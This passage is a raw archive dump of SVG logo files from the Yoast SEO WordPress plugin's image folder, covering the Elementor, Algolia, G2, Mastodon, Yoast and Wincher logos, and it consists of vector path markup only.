4.28 0 012.88 4z"></path><path fill="#f15a24" d="M155.82 61.32c-2.89-12.19 15.29-11.67 17.1 1.51-.51.23-2.75-6.29-8.94-8.06-7.49-2.22-7.59 6.6-8.16 6.55z"></path></svg>wordpress-seo/packages/js/images/elementor-logo.svg000064400000013524147510273070016503 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="170" height="70" viewBox="0 0 810 160" fill="none"><g clip-path="url(#clip0)"><path d="M505.95 73.9793C505.95 73.9793 499.077 75.6221 493.262 77.0086L484.423 79.0242C484.4 79.0242 484.365 79.0242 484.342 79.0242C484.342 76.6357 484.516 74.1191 485.086 71.8005C485.819 68.8294 487.424 65.3574 490.215 63.8311C493.25 62.1766 496.949 61.9785 500.159 63.2602C503.485 64.5768 505.008 67.7925 505.66 71.1247C505.846 72.0568 505.962 72.9889 506.055 73.9327L505.95 73.9793ZM529.001 79.0242C529.001 55.9199 514.475 45.9931 495.914 45.9931C474.933 45.9931 461.791 60.5454 461.791 79.1408C461.791 99.3556 472.979 112.521 497.065 112.521C510.091 112.521 517.464 110.214 526.233 105.822L522.895 90.6871C516.208 93.6931 509.986 95.534 501.682 95.534C492.576 95.534 487.389 92.0736 485.423 85.6072H528.42C528.768 83.8711 529.001 81.9021 529.001 79.0242Z" fill="#92003B"></path><path d="M312.998 73.9793C312.998 73.9793 306.124 75.6221 300.309 77.0086L291.471 79.0242C291.447 79.0242 291.412 79.0242 291.389 79.0242C291.389 76.6357 291.564 74.1191 292.133 71.8005C292.866 68.8294 294.471 65.3574 297.262 63.8311C300.298 62.1766 303.996 61.9785 307.206 63.2602C310.532 64.5768 312.056 67.7925 312.707 71.1247C312.893 72.0568 313.009 72.9889 313.102 73.9327L312.998 73.9793ZM336.048 79.0242C336.048 55.9199 321.522 45.9931 302.961 45.9931C281.981 45.9931 268.839 60.5454 268.839 79.1408C268.839 99.3556 280.027 112.521 304.112 112.521C317.138 112.521 324.511 110.214 333.28 105.822L329.943 90.6871C323.255 93.6931 317.033 95.534 308.729 95.534C299.623 95.534 294.436 92.0736 292.471 85.6072H335.467C335.816 83.8711 336.048 81.9021 336.048 79.0242Z" fill="#92003B"></path><path d="M259.814 29.0174H238.519V110.203H259.814V29.0174Z" fill="#92003B"></path><path d="M533.49 48.067H555.854L560.564 62.4213C563.507 55.3374 570.136 46.2261 581.894 46.2261C598.036 46.2261 606.793 54.4286 606.793 75.5638V110.214H584.429C584.429 102.991 584.441 95.7787 584.452 88.5549C584.452 85.246 584.394 81.937 584.441 78.6281C584.475 75.5755 584.696 72.418 583.068 69.68C581.963 67.8274 580.161 66.4642 578.219 65.5322C574.276 63.6447 569.996 63.6913 566.123 65.7186C565.17 66.2196 560.564 68.7129 560.564 69.8664V110.214H538.2V64.8331L533.49 48.067Z" fill="#92003B"></path><path d="M623.704 64.3554H613.446V48.067H623.704V37.8839L646.068 32.6059V48.067H668.549V64.3554H646.068V82.6012C646.068 89.7666 649.523 93.1105 654.71 93.1105C660.013 93.1105 663.013 92.4115 667.502 90.9201L670.154 107.779C664.048 110.436 656.442 111.706 648.708 111.706C632.45 111.706 623.692 103.969 623.692 88.9511V64.3554H623.704Z" fill="#92003B"></path><path d="M710.394 94.031C718.581 94.031 723.419 88.1355 723.419 78.6748C723.419 69.214 718.814 63.7729 710.743 63.7729C702.555 63.7729 697.834 69.2023 697.834 79.0126C697.834 88.2637 702.439 94.031 710.394 94.031ZM710.627 45.6436C731.607 45.6436 746.935 58.8095 746.935 79.2457C746.935 99.7984 731.607 112.16 710.394 112.16C689.297 112.16 674.306 99.4605 674.306 79.2457C674.306 58.8095 689.181 45.6436 710.627 45.6436Z" fill="#92003B"></path><path d="M441.754 47.8807C437.8 46.2496 433.322 45.6437 429.042 46.2612C426.867 46.5758 424.739 47.205 422.762 48.1837C417.342 50.8634 413.121 56.9803 410.853 62.4331C409.364 56.1531 405.026 50.5139 398.688 47.8924C394.734 46.2612 390.256 45.6554 385.976 46.2729C383.802 46.5875 381.673 47.2166 379.696 48.1953C374.288 50.8634 370.078 56.957 367.799 62.3981V62.002L363.24 48.0905H340.875L345.586 64.8565V110.226H367.799V69.6685C367.88 69.3655 368.869 68.8063 369.043 68.6781C371.648 66.8256 374.707 64.9148 377.963 64.6818C381.29 64.4371 384.569 66.1265 386.546 68.7713C386.756 69.0626 386.953 69.3539 387.139 69.6568C388.768 72.3949 388.547 75.5523 388.512 78.6049C388.477 81.9139 388.523 85.2228 388.523 88.5318C388.512 95.7555 388.5 102.968 388.5 110.191H410.865V75.5523C410.865 75.3776 410.865 75.2028 410.865 75.0397V69.6918C410.911 69.4005 411.935 68.8179 412.121 68.6898C414.726 66.8372 417.784 64.9264 421.041 64.6934C424.367 64.4487 427.647 66.1382 429.624 68.783C429.833 69.0743 430.031 69.3655 430.217 69.6685C431.845 72.4065 431.624 75.564 431.589 78.6166C431.554 81.9255 431.601 85.2345 431.601 88.5434C431.589 95.7671 431.578 102.979 431.578 110.203H453.942V75.5523C453.942 65.3925 452.488 52.3082 441.754 47.8807Z" fill="#92003B"></path><path d="M799.827 46.2261C788.069 46.2261 781.452 55.349 778.498 62.4213L773.787 48.067H751.423L756.133 64.8331V110.203H778.498V68.2818C781.684 67.7226 798.978 70.915 802.258 72.1151V46.3077C801.467 46.2611 800.664 46.2261 799.827 46.2261Z" fill="#92003B"></path><path d="M206.444 73.9793C206.444 73.9793 199.571 75.6221 193.756 77.0086L184.917 79.0242C184.894 79.0242 184.859 79.0242 184.836 79.0242C184.836 76.6357 185.01 74.1191 185.58 71.8005C186.313 68.8294 187.918 65.3574 190.709 63.8311C193.744 62.1766 197.443 61.9785 200.653 63.2602C203.979 64.5768 205.502 67.7925 206.154 71.1247C206.34 72.0568 206.456 72.9889 206.549 73.9327L206.444 73.9793ZM229.495 79.0242C229.495 55.9199 214.969 45.9931 196.408 45.9931C175.427 45.9931 162.285 60.5454 162.285 79.1408C162.285 99.3556 173.473 112.521 197.559 112.521C210.585 112.521 217.958 110.214 226.727 105.822L223.389 90.6871C216.702 93.6931 210.48 95.534 202.176 95.534C193.07 95.534 187.883 92.0736 185.917 85.6072H228.913C229.262 83.8711 229.495 81.9021 229.495 79.0242Z" fill="#92003B"></path><path d="M66.141 16.0495C30.8557 16.0495 2.25763 44.6998 2.25763 80.0495C2.25763 115.388 30.8557 144.05 66.141 144.05C101.426 144.05 130.024 115.399 130.024 80.0495C130.013 44.6998 101.415 16.0495 66.141 16.0495ZM50.1731 106.707H39.5316V53.3799H50.1731V106.707ZM92.7503 106.707H60.8145V96.0466H92.7503V106.707ZM92.7503 85.3741H60.8145V74.7133H92.7503V85.3741ZM92.7503 64.0408H60.8145V53.3799H92.7503V64.0408Z" fill="#92003B"></path></g><defs><clipPath id="clip0"><rect width="795.828" height="127.901" fill="white" transform="translate(2.25763 16.0495)"></rect></clipPath></defs></svg>wordpress-seo/packages/js/images/algolia-logo.svg000064400000012424147510273070016117 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="100 100 525 160" width="150" height="40">
	<g fill="none" fill-rule="evenodd">
		<path fill="#5468FF"
			  d="M135.8 120.999h88.4c8.7 0 15.8 7.065 15.8 15.8v88.405c0 8.7-7.065 15.795-15.8 15.795h-88.4c-8.7 0-15.8-7.06-15.8-15.795v-88.445c0-8.695 7.06-15.76 15.8-15.76"/>
		<path fill="#FFF"
			  d="M192.505 147.788v-4.115a5.209 5.209 0 0 0-5.21-5.205H175.15a5.209 5.209 0 0 0-5.21 5.205v4.225c0 .47.435.8.91.69a37.966 37.966 0 0 1 10.57-1.49c3.465 0 6.895.47 10.21 1.38.44.11.875-.215.875-.69m-33.285 5.385l-2.075-2.075a5.206 5.206 0 0 0-7.365 0l-2.48 2.475a5.185 5.185 0 0 0 0 7.355l2.04 2.04c.33.325.805.25 1.095-.075a39.876 39.876 0 0 1 3.975-4.66 37.68 37.68 0 0 1 4.7-4c.364-.22.4-.73.11-1.06m22.164 13.065v17.8c0 .51.55.875 1.02.62l15.825-8.19c.36-.18.47-.62.29-.98-3.28-5.755-9.37-9.685-16.405-9.94-.365 0-.73.29-.73.69m0 42.88c-13.195 0-23.915-10.705-23.915-23.88 0-13.175 10.72-23.875 23.915-23.875 13.2 0 23.916 10.7 23.916 23.875s-10.68 23.88-23.916 23.88m0-57.8c-18.74 0-33.94 15.18-33.94 33.92 0 18.745 15.2 33.89 33.94 33.89s33.94-15.18 33.94-33.925c0-18.745-15.165-33.885-33.94-33.885"/>
		<path fill="#5468FF"
			  d="M359.214 216.177c-23.365.11-23.365-18.855-23.365-21.875l-.04-71.045 14.254-2.26v70.61c0 1.715 0 12.56 9.15 12.595v11.975zm-57.78-11.61c4.374 0 7.62-.255 9.88-.69v-14.485a29.196 29.196 0 0 0-3.43-.695 33.742 33.742 0 0 0-4.956-.365c-1.57 0-3.175.11-4.775.365-1.605.22-3.065.655-4.34 1.275-1.275.62-2.335 1.495-3.1 2.62-.8 1.13-1.165 1.785-1.165 3.495 0 3.345 1.165 5.28 3.28 6.55 2.115 1.275 4.995 1.93 8.606 1.93zm-1.24-51.685c4.7 0 8.674.585 11.884 1.75 3.206 1.165 5.796 2.8 7.69 4.875 1.935 2.11 3.245 4.915 4.046 7.9.84 2.985 1.24 6.26 1.24 9.86v36.62c-2.185.47-5.506 1.015-9.95 1.67-4.446.655-9.44.985-14.986.985-3.68 0-7.07-.365-10.095-1.055-3.065-.69-5.65-1.82-7.84-3.385-2.15-1.565-3.825-3.57-5.065-6.04-1.205-2.48-1.825-5.97-1.825-9.61 0-3.495.69-5.715 2.045-8.12 1.38-2.4 3.24-4.365 5.575-5.895 2.37-1.53 5.065-2.62 8.165-3.275 3.1-.655 6.345-.985 9.695-.985 1.57 0 3.21.11 4.96.29 1.715.185 3.575.515 5.545.985v-2.33c0-1.635-.185-3.2-.585-4.655a10.012 10.012 0 0 0-2.045-3.895c-.985-1.13-2.255-2.005-3.86-2.62-1.605-.62-3.65-1.095-6.09-1.095-3.28 0-6.27.4-9.005.875-2.735.47-4.995 1.02-6.71 1.635l-1.71-11.68c1.785-.62 4.445-1.24 7.875-1.855 3.425-.66 7.11-.95 11.045-.95zm281.51 51.285c4.375 0 7.615-.255 9.875-.695v-14.48c-.8-.22-1.93-.475-3.425-.695a33.813 33.813 0 0 0-4.96-.365c-1.565 0-3.17.11-4.775.365-1.6.22-3.06.655-4.335 1.275-1.28.62-2.335 1.495-3.1 2.62-.805 1.13-1.165 1.785-1.165 3.495 0 3.345 1.165 5.28 3.28 6.55 2.15 1.31 4.995 1.93 8.605 1.93zm-1.205-51.645c4.7 0 8.674.58 11.884 1.745 3.205 1.165 5.795 2.8 7.69 4.875 1.895 2.075 3.245 4.915 4.045 7.9.84 2.985 1.24 6.26 1.24 9.865v36.615c-2.185.47-5.505 1.015-9.95 1.675-4.445.655-9.44.98-14.985.98-3.68 0-7.07-.365-10.094-1.055-3.065-.69-5.65-1.82-7.84-3.385-2.15-1.565-3.825-3.57-5.065-6.04-1.205-2.475-1.825-5.97-1.825-9.61 0-3.495.695-5.715 2.045-8.12 1.38-2.4 3.24-4.365 5.575-5.895 2.37-1.525 5.065-2.62 8.165-3.275 3.1-.655 6.345-.98 9.7-.98 1.565 0 3.205.11 4.955.29s3.575.51 5.54.985v-2.33c0-1.64-.18-3.205-.58-4.66a9.977 9.977 0 0 0-2.045-3.895c-.985-1.13-2.255-2.005-3.86-2.62-1.606-.62-3.65-1.09-6.09-1.09-3.28 0-6.27.4-9.005.87-2.735.475-4.995 1.02-6.71 1.64l-1.71-11.685c1.785-.62 4.445-1.235 7.875-1.855 3.425-.62 7.105-.945 11.045-.945zm-42.8-6.77c4.774 0 8.68-3.86 8.68-8.63 0-4.765-3.866-8.625-8.68-8.625-4.81 0-8.675 3.86-8.675 8.625 0 4.77 3.9 8.63 8.675 8.63zm7.18 70.425h-14.326v-61.44l14.325-2.255v63.695zm-25.116 0c-23.365.11-23.365-18.855-23.365-21.875l-.04-71.045 14.255-2.26v70.61c0 1.715 0 12.56 9.15 12.595v11.975zm-46.335-31.445c0-6.155-1.35-11.285-3.974-14.85-2.625-3.605-6.305-5.385-11.01-5.385-4.7 0-8.386 1.78-11.006 5.385-2.625 3.6-3.904 8.695-3.904 14.85 0 6.225 1.315 10.405 3.94 14.01 2.625 3.64 6.305 5.425 11.01 5.425 4.7 0 8.385-1.82 11.01-5.425 2.624-3.64 3.934-7.785 3.934-14.01zm14.58-.035c0 4.805-.69 8.44-2.114 12.41-1.42 3.965-3.425 7.35-6.01 10.155-2.59 2.8-5.69 4.985-9.336 6.515-3.644 1.525-9.26 2.4-12.065 2.4-2.81-.035-8.385-.835-11.995-2.4-3.61-1.565-6.71-3.715-9.295-6.515-2.59-2.805-4.594-6.19-6.054-10.155-1.456-3.97-2.185-7.605-2.185-12.41s.654-9.43 2.114-13.36c1.46-3.93 3.5-7.28 6.125-10.08 2.625-2.805 5.76-4.955 9.33-6.48 3.61-1.53 7.585-2.255 11.885-2.255 4.305 0 8.275.76 11.92 2.255 3.65 1.525 6.786 3.675 9.336 6.48 2.584 2.8 4.59 6.15 6.05 10.08 1.53 3.93 2.295 8.555 2.295 13.36zm-107.284 0c0 5.965 1.31 12.59 3.935 15.355 2.625 2.77 6.014 4.15 10.175 4.15 2.26 0 4.41-.325 6.414-.945 2.005-.62 3.606-1.35 4.886-2.22v-35.34c-1.02-.22-5.286-1.095-9.41-1.2-5.175-.15-9.11 1.965-11.88 5.345-2.736 3.39-4.12 9.32-4.12 14.855zm39.625 28.095c0 9.72-2.48 16.815-7.476 21.33-4.99 4.51-12.61 6.77-22.89 6.77-3.755 0-11.555-.73-17.79-2.11l2.295-11.285c5.215 1.09 12.105 1.385 15.715 1.385 5.72 0 9.805-1.165 12.245-3.495 2.445-2.33 3.645-5.785 3.645-10.375v-2.33c-1.42.69-3.28 1.385-5.575 2.115-2.295.69-4.955 1.055-7.95 1.055-3.935 0-7.51-.62-10.75-1.86-3.245-1.235-6.055-3.055-8.35-5.46-2.295-2.4-4.12-5.42-5.395-9.025-1.275-3.605-1.935-10.045-1.935-14.775 0-4.44.695-10.01 2.046-13.725 1.384-3.71 3.35-6.915 6.014-9.57 2.626-2.655 5.835-4.695 9.59-6.19 3.755-1.49 8.16-2.435 12.935-2.435 4.635 0 8.9.58 13.055 1.275 4.155.69 7.69 1.415 10.57 2.215v56.49z"/>
	</g>
</svg>wordpress-seo/packages/js/images/g2_logo_white_optm.svg000064400000001503147510273070017334 0ustar00<svg role="img" aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path fill="#fff" d="M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"/></svg>wordpress-seo/packages/js/images/mastodon-logo.svg000064400000013071147510273070016332 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="140" height="100%" viewBox="0 0 713.35878 175.8678">
	<path fill="#2b90d9" d="M160.55476 105.43125c-2.4125 12.40625-21.5975 25.9825-43.63375 28.61375-11.49125 1.3725-22.80375 2.63125-34.8675 2.07875-19.73-.90375-35.2975-4.71-35.2975-4.71 0 1.92125.11875 3.75.355 5.46 2.565 19.47 19.3075 20.6375 35.16625 21.18125 16.00625.5475 30.2575-3.9475 30.2575-3.9475l.65875 14.4725s-11.19625 6.01125-31.14 7.11625c-10.99875.605-24.65375-.27625-40.56-4.485C6.99851 162.08 1.06601 125.31.15851 88-.11899 76.9225.05226 66.47625.05226 57.74125c0-38.1525 24.99625-49.335 24.99625-49.335C37.65226 2.6175 59.27976.18375 81.76351 0h.5525c22.48375.18375 44.125 2.6175 56.72875 8.40625 0 0 24.99625 11.1825 24.99625 49.335 0 0 .3125 28.1475-3.48625 47.69"/>
	<path fill="#282c37" d="M34.65751 48.494c0-5.55375 4.5025-10.055 10.055-10.055 5.55375 0 10.055 4.50125 10.055 10.055 0 5.5525-4.50125 10.055-10.055 10.055-5.5525 0-10.055-4.5025-10.055-10.055m144.20725 12.20575v46.195h-18.30125v-44.8375c0-9.4525-3.9775-14.24875-11.9325-14.24875-8.79375 0-13.2025 5.69125-13.2025 16.94375V89.2935h-18.19375V64.75225c0-11.2525-4.40875-16.94375-13.2025-16.94375-7.955 0-11.9325 4.79625-11.9325 14.24875v44.8375H73.79851v-46.195c0-9.44125 2.40375-16.94375 7.2325-22.495 4.98-5.55 11.50125-8.395 19.595-8.395 9.36625 0 16.45875 3.59875 21.14625 10.79875l4.56 7.6425 4.55875-7.6425c4.68875-7.2 11.78-10.79875 21.1475-10.79875 8.09375 0 14.61375 2.845 19.59375 8.395 4.82875 5.55125 7.2325 13.05375 7.2325 22.495m63.048 22.963875c3.77625-3.99 5.595-9.015 5.595-15.075 0-6.06-1.81875-11.085-5.595-14.9275-3.63625-3.99125-8.25375-5.91125-13.84875-5.91125-5.59625 0-10.2125 1.92-13.84875 5.91125-3.6375 3.8425-5.45625 8.8675-5.45625 14.9275 0 6.06 1.81875 11.085 5.45625 15.075 3.63625 3.8425 8.2525 5.76375 13.84875 5.76375 5.595 0 10.2125-1.92125 13.84875-5.76375m5.595-52.025h18.04625v73.9h-18.04625v-8.72125c-5.455 7.2425-13.01 10.79-22.80125 10.79-9.3725 0-17.34625-3.695-24.06125-11.23375-6.57375-7.5375-9.93125-16.84875-9.93125-27.785 0-10.78875 3.3575-20.10125 9.93125-27.63875 6.715-7.5375 14.68875-11.38 24.06125-11.38 9.79125 0 17.34625 3.5475 22.80125 10.78875v-8.72zm78.76175 35.62c5.315 3.99 7.97375 9.60625 7.83375 16.7 0 7.53875-2.65875 13.45-8.11375 17.58875-5.45625 3.99125-12.03 6.06-20.00375 6.06-14.40875 0-24.20125-5.9125-29.3775-17.58875l15.66875-9.31c2.0975 6.35375 6.71375 9.60625 13.70875 9.60625 6.43375 0 9.6525-2.07 9.6525-6.35625 0-3.10375-4.1975-5.91125-12.73-8.1275-3.21875-.8875-5.87625-1.77375-7.97375-2.51375-2.9375-1.18125-5.455-2.5125-7.55375-4.1375-5.17625-3.99-7.83375-9.3125-7.83375-16.11 0-7.2425 2.5175-13.00625 7.55375-17.145 5.17625-4.28625 11.47-6.355 19.025-6.355 12.03 0 20.84375 5.1725 26.5775 15.66625l-15.38625 8.8675c-2.23875-5.02375-6.015-7.53625-11.19125-7.53625-5.45625 0-8.11375 2.06875-8.11375 6.05875 0 3.10375 4.19625 5.91125 12.73 8.12875 6.575 1.4775 11.75 3.695 15.5275 6.50375m57.357125-17.2925h-15.8075v30.7425c0 3.695 1.4 5.91125 4.0575 6.945 1.95875.74 5.875.8875 11.75.59125v17.29375c-12.16875 1.4775-20.9825.295-26.15875-3.69625-5.175-3.8425-7.69375-10.93625-7.69375-21.13375v-30.7425h-12.17v-18.3275h12.17v-14.9275l18.045-5.76375v20.69125h15.8075v18.3275zm57.49825 33.254375c3.6375-3.84375 5.455-8.72125 5.455-14.6325 0-5.91125-1.8175-10.78875-5.455-14.63125-3.6375-3.84375-8.11375-5.76375-13.57-5.76375-5.455 0-9.93125 1.92-13.56875 5.76375-3.4975 3.99-5.31625 8.8675-5.31625 14.63125 0 5.765 1.81875 10.6425 5.31625 14.6325 3.6375 3.8425 8.11375 5.76375 13.56875 5.76375 5.45625 0 9.9325-1.92125 13.57-5.76375m-39.86875 13.15375c-7.13375-7.5375-10.63125-16.70125-10.63125-27.78625 0-10.9375 3.4975-20.1 10.63125-27.6375 7.13375-7.5375 15.9475-11.38 26.29875-11.38 10.3525 0 19.165 3.8425 26.3 11.38 7.135 7.5375 10.77125 16.84875 10.77125 27.6375 0 10.9375-3.63625 20.24875-10.77125 27.78625-7.135 7.53875-15.8075 11.2325-26.3 11.2325-10.49125 0-19.165-3.69375-26.29875-11.2325M524.92126 83.663625c3.6375-3.99 5.455-9.015 5.455-15.075 0-6.06-1.8175-11.085-5.455-14.9275-3.63625-3.99125-8.25375-5.91125-13.84875-5.91125-5.59625 0-10.2125 1.92-13.98875 5.91125-3.63625 3.8425-5.45625 8.8675-5.45625 14.9275 0 6.06 1.82 11.085 5.45625 15.075 3.77625 3.8425 8.5325 5.76375 13.98875 5.76375 5.595 0 10.2125-1.92125 13.84875-5.76375m5.455-81.585h18.04625v103.46h-18.04625v-8.72125c-5.315 7.2425-12.87 10.79-22.66125 10.79-9.3725 0-17.485-3.695-24.2-11.23375-6.575-7.5375-9.9325-16.84875-9.9325-27.785 0-10.78875 3.3575-20.10125 9.9325-27.63875 6.715-7.5375 14.8275-11.38 24.2-11.38 9.79125 0 17.34625 3.5475 22.66125 10.78875v-38.28zm81.42 81.141875c3.63625-3.84375 5.455-8.72125 5.455-14.6325 0-5.91125-1.81875-10.78875-5.455-14.63125-3.6375-3.84375-8.11375-5.76375-13.57-5.76375-5.455 0-9.9325 1.92-13.56875 5.76375-3.49875 3.99-5.31625 8.8675-5.31625 14.63125 0 5.765 1.8175 10.6425 5.31625 14.6325 3.63625 3.8425 8.11375 5.76375 13.56875 5.76375 5.45625 0 9.9325-1.92125 13.57-5.76375m-39.86875 13.15375c-7.135-7.5375-10.63125-16.70125-10.63125-27.78625 0-10.9375 3.49625-20.1 10.63125-27.6375 7.135-7.5375 15.9475-11.38 26.29875-11.38 10.3525 0 19.165 3.8425 26.3 11.38 7.135 7.5375 10.77125 16.84875 10.77125 27.6375 0 10.9375-3.63625 20.24875-10.77125 27.78625-7.135 7.53875-15.8075 11.2325-26.3 11.2325-10.49125 0-19.16375-3.69375-26.29875-11.2325m141.43125-36.210375v45.37375h-18.04625v-43.00875c0-4.8775-1.25875-8.5725-3.77625-11.38-2.37875-2.5125-5.73625-3.84375-10.0725-3.84375-10.2125 0-15.3875 6.06-15.3875 18.3275v39.905h-18.04625v-73.89875h18.04625v8.27625c4.33625-6.94625 11.19-10.345 20.84375-10.345 7.69375 0 13.98875 2.66 18.885 8.12875 5.035 5.46875 7.55375 12.85875 7.55375 22.465"/>
</svg>
wordpress-seo/packages/js/images/Yoast_SEO_Icon.svg000064400000002033147510273070016321 0ustar00<svg xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" viewBox="0 0 500 500" focusable="false"><path d="M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z" fill="#a4286a"/><path d="M437.61 2L155.89 500H500V80a80 80 0 0 0-62.39-78z" fill="#6c2548"/><path d="M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z" fill="#fff"/><circle cx="368.33" cy="124.68" r="97.34" transform="rotate(-45 368.335 124.68)" fill="#9fda4f"/><path d="M416.2 39.93l-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z" fill="#77b227"/><path d="M294.78 254.75l-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z" fill="#fec228"/><path d="M294.5 254.59l-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z" fill="#f49a00"/><path d="M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z" fill="#ff4e47"/><path d="M202.9 416.8l-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z" fill="#ed261f"/></svg>wordpress-seo/packages/js/images/wincher-logo.svg000064400000010773147510273070016153 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 566 122" width="140" height="100%"><g fill="none" fill-rule="evenodd"><g transform="translate(183.8 37)" fill-rule="nonzero"><circle fill="#FFA23A" cx="375.8" cy="58.2" r="5.6"></circle><path d="M31.805 62.112a2.4 2.4 0 01-2.282 1.656h-7.337a2.4 2.4 0 01-2.277-1.641L.323 3.365A2.4 2.4 0 012.6.206h8.895a2.4 2.4 0 012.298 1.708l12.37 41.04 13.974-41.12A2.4 2.4 0 0142.409.206h4.7a2.4 2.4 0 012.268 1.616l14.228 41.131 12.2-41.03A2.4 2.4 0 0178.107.205H87a2.4 2.4 0 012.278 3.156L69.77 62.124a2.4 2.4 0 01-2.278 1.644h-7.335a2.4 2.4 0 01-2.282-1.656L44.84 22.139 31.805 62.112zm74.538-45.22a2.4 2.4 0 012.4 2.4v42.076a2.4 2.4 0 01-2.4 2.4H98.95a2.4 2.4 0 01-2.4-2.4V19.292a2.4 2.4 0 012.4-2.4h7.393zM102.555 0c3.095 0 5.605 2.496 5.605 5.575s-2.51 5.574-5.605 5.574c-3.095 0-5.605-2.495-5.605-5.574 0-3.08 2.51-5.575 5.605-5.575zm29.076 61.368a2.4 2.4 0 01-2.4 2.4h-7.392a2.4 2.4 0 01-2.4-2.4V19.292a2.4 2.4 0 012.4-2.4h7.133a2.4 2.4 0 012.4 2.4v4.937c1.268-2.35 3.228-4.243 5.88-5.677 2.651-1.433 5.62-2.15 8.906-2.15 5.13 0 9.483 1.692 13.057 5.075s5.361 8.2 5.361 14.45v25.44a2.4 2.4 0 01-2.4 2.4h-7.392a2.4 2.4 0 01-2.4-2.4V39.196c0-3.67-.894-6.523-2.68-8.558-1.788-2.036-4.209-3.054-7.264-3.054-3.228 0-5.837.304-7.826 2.512-1.989 2.207-2.983 5.86-2.983 9.358v21.915zM198.736 64c-7.131 0-13.018-2.242-17.66-6.725-4.584-4.427-6.876-10.172-6.876-17.233s2.32-12.806 6.962-17.233C185.86 18.27 191.83 16 199.076 16c4.754 0 9.07 1.12 12.947 3.363 3.38 1.953 5.996 4.589 7.849 7.905.643 1.151.272 1.78-.517 2.208l-6.947 3.774c-1.003.545-1.63.246-2.293-.654-2.74-3.722-6.363-5.584-10.87-5.584-3.848 0-6.99 1.261-9.423 3.783-2.49 2.466-3.736 5.548-3.736 9.247 0 3.81 1.217 6.95 3.65 9.415 2.491 2.466 5.576 3.699 9.255 3.699 2.434 0 4.754-.645 6.962-1.934 1.73-1.01 3.094-2.243 4.094-3.7.47-.685 1.14-1.03 2.077-.484l7.195 4.187c.738.43.968 1.038.538 1.742-1.954 3.2-4.679 5.784-8.173 7.755C207.806 62.907 203.49 64 198.736 64zm44.522-2.632a2.4 2.4 0 01-2.4 2.4h-7.393a2.4 2.4 0 01-2.4-2.4V2.4a2.4 2.4 0 012.4-2.4h7.047a2.4 2.4 0 012.4 2.4v21.399c1.268-2.179 3.257-3.957 5.966-5.333 2.71-1.376 5.679-2.064 8.907-2.064 5.073 0 9.396 1.692 12.97 5.075 3.575 3.383 5.362 8.2 5.362 14.45v25.44a2.4 2.4 0 01-2.4 2.4h-7.393a2.4 2.4 0 01-2.4-2.4V39.196c0-3.67-.879-6.523-2.637-8.558-1.758-2.036-4.165-3.054-7.22-3.054-3.229 0-5.837 1.104-7.826 3.312-1.989 2.207-2.983 5.06-2.983 8.558v21.915zM311.177 64c-8.045 0-14.233-2.326-18.564-6.977-4.275-4.596-6.413-10.256-6.413-16.981 0-7.005 2.222-12.75 6.666-17.233C297.31 18.27 303.076 16 310.164 16c6.694 0 12.207 2.074 16.539 6.22 4.331 4.148 6.497 9.752 6.497 16.813 0 1.087-.085 2.375-.254 3.866-.104.92-.483 1.346-1.483 1.346h-33.197c1.688 6.501 6.16 9.752 13.417 9.752 4.807 0 9.295-1.247 13.464-3.74.787-.471 1.621-.471 2.059.299l3.324 5.854c.565.997.43 1.514-.38 2.05-5.582 3.693-11.907 5.54-18.973 5.54zM321.2 36c-.554-3.1-1.827-5.54-3.82-7.325-1.992-1.783-4.483-2.675-7.472-2.675-2.934 0-5.439.892-7.515 2.675-2.076 1.784-3.473 4.226-4.193 7.325h23zm34.954 25.368a2.4 2.4 0 01-2.4 2.4h-7.393a2.4 2.4 0 01-2.4-2.4V19.292a2.4 2.4 0 012.4-2.4h6.874a2.4 2.4 0 012.4 2.4v5.472c2.825-5.046 7.148-7.57 12.97-7.57 1.491 0 2.982.212 4.472.635.86.243 1.193.871 1.11 1.796l-.778 8.712c-.097 1.091-.567 1.348-1.636 1.091-1.487-.357-2.86-.536-4.119-.536-3.574 0-6.384 1.19-8.43 3.57-2.047 2.38-3.07 5.92-3.07 10.622v18.284z" fill="#37343B"></path></g><path d="M154.949.162a3.423 3.423 0 012.235 4.308l-37.107 115.146a3.446 3.446 0 01-3.285 2.384H94.376c-.356 0-.71-.055-1.049-.162a3.423 3.423 0 01-2.235-4.308L128.199 2.384A3.446 3.446 0 01131.484 0h24.485c.356 0-1.36.055-1.02.162zm-70.7 14.231c.355 0 .707.055 1.046.162a3.423 3.423 0 012.24 4.305L55.247 119.613A3.446 3.446 0 0151.962 122H29.545c-.355 0-.708-.055-1.047-.162a3.423 3.423 0 01-2.239-4.305L58.545 16.78a3.446 3.446 0 